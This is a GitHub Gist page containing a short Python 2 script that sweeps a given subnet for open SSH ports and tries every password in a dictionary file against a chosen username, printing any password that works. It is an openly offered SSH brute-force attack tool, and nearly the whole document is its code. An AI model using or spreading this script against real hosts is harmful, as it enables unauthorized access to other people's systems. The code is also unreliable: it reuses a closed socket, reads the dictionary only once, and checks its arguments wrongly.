-
-
Save 0x6d61/b7fe5073710d556a02f4a3e69617c015 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import sys | |
from netaddr import * | |
import socket | |
from paramiko import SSHClient,AutoAddPolicy | |
argv = sys.argv | |
argc = len(argv) | |
if 3 > argc: | |
print "usage:%s <ipaddress/subnetmask> <user> <dictionary>" %(argv[0]) | |
exit() | |
ipv4 = IPNetwork(argv[1]) | |
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
sock.settimeout(3) | |
ssh = SSHClient() | |
ssh.set_missing_host_key_policy(AutoAddPolicy()) | |
f = open(argv[3],"rb") | |
for i in range(len(ipv4)): | |
try: | |
sock.connect((str(ipv4[i]),22)) | |
sock.close() | |
for line in f.readlines(): | |
try: | |
ssh.connect(str(ipv4[i]),22,username=argv[2],password=line.strip('\n')) | |
print ipv4[i],"pass:"+line.strip('\n') | |
except: | |
pass | |
except socket.error: | |
pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment